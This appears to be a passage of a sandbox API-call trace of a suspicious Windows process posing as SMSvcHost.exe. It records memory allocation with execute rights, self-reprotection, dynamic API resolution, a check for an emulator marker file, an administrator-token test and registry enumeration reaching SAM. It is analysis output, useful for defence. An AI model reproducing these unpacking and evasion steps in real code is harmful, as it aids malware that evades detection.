GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.679] GetFocus () returned 0x0 [0220.679] GetAsyncKeyState (vKey=58) returned 0 [0220.679] GetKBCodePage () returned 0x1b5 [0220.679] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.684] GetFocus () returned 0x0 [0220.684] GetAsyncKeyState (vKey=58) returned 0 [0220.684] GetKBCodePage () returned 0x1b5 [0220.684] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.684] GetFocus () returned 0x0 [0220.684] GetAsyncKeyState (vKey=58) returned 0 [0220.684] GetKBCodePage () returned 0x1b5 [0220.684] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.684] GetFocus () returned 0x0 [0220.684] GetAsyncKeyState (vKey=58) returned 0 [0220.684] GetKBCodePage () returned 0x1b5 [0220.684] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.684] GetFocus () returned 0x0 [0220.684] GetAsyncKeyState (vKey=58) returned 0 [0220.684] GetKBCodePage () returned 0x1b5 [0220.684] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.684] GetFocus () returned 0x0 [0220.684] GetAsyncKeyState (vKey=58) returned 0 [0220.684] GetKBCodePage () returned 0x1b5 [0220.684] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.684] GetFocus () returned 0x0 [0220.684] GetAsyncKeyState (vKey=58) returned 0 [0220.685] GetKBCodePage () returned 0x1b5 [0220.685] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.685] GetFocus () returned 0x0 [0220.685] GetAsyncKeyState (vKey=58) returned 0 [0220.685] GetKBCodePage () returned 0x1b5 [0220.685] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.685] GetFocus () returned 0x0 [0220.685] GetAsyncKeyState (vKey=58) returned 0 [0220.685] GetKBCodePage () returned 0x1b5 [0220.685] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.685] GetFocus () returned 0x0 [0220.685] GetAsyncKeyState (vKey=58) returned 0 [0220.685] GetKBCodePage () returned 0x1b5 [0220.685] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.685] GetFocus () returned 0x0 [0220.685] GetAsyncKeyState (vKey=58) returned 0 [0220.685] GetKBCodePage () returned 0x1b5 [0220.685] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.685] GetFocus () returned 0x0 [0220.685] GetAsyncKeyState (vKey=58) returned 0 [0220.685] GetKBCodePage () returned 0x1b5 [0220.686] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.686] GetFocus () returned 0x0 [0220.686] GetAsyncKeyState (vKey=58) returned 0 [0220.686] GetKBCodePage () returned 0x1b5 [0220.686] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.686] GetFocus () returned 0x0 [0220.686] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe")) returned 0x3d [0220.686] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0220.702] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe")) returned 0x3d [0220.702] Sleep (dwMilliseconds=0x94) [0220.852] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0220.852] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x370000 [0220.859] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0220.859] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x390000 [0220.860] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0220.860] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0220.860] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0220.860] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0220.860] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0220.860] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0220.861] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0220.861] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0220.869] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0220.871] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0220.871] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0220.871] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0220.871] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0221.639] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.651] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x3c0000 [0221.660] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x104) returned 0x3c07d0 [0221.660] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c08e0 [0221.660] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0968 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c09f0 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0a78 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0b00 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0b88 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0c10 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0c98 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0d20 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0da8 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0e30 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0eb8 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0f40 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0fc8 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c1050 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c10d8 [0221.661] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x400) returned 0x3c1160 [0221.661] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x490000 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x4907d0 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x490858 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x4908e0 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x184) returned 0x490968 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490af8 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490b40 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490b88 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490bd0 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490c18 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490c60 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490ca8 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490cf0 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490d38 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490d80 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490dc8 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490e10 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490e58 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490ea0 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490ee8 [0221.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490f30 [0221.662] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe")) returned 0x3d [0221.664] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490f78 [0221.664] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2c) returned 0x49b828 [0221.669] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0221.669] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0221.669] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0221.669] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0221.669] GetLastError () returned 0x7a [0221.669] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x180) returned 0x49b860 [0221.669] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x49b860, TokenInformationLength=0x168, ReturnLength=0x18fbec | out: TokenInformation=0x49b860, ReturnLength=0x18fbec) returned 1 [0221.669] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0221.669] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8d4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0221.669] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b914*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b920*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b92c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xfb, [5]=0x5))) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b94c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xaf, [5]=0xb8))) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b96c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x4a, [5]=0xf8))) returned 0 [0221.670] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b98c*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0221.671] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b9a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0221.671] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b9ac*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x21)) returned 0 [0221.671] EqualSid (pSid1=0x594a88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b9b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0221.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.671] NtClose (Handle=0xc4) returned 0x0 [0221.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49b860 [0221.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b8a8 [0221.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x280) returned 0x49b930 [0221.675] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0221.681] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0221.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0221.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x49bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.682] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0221.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x49bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.682] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="SAM") returned 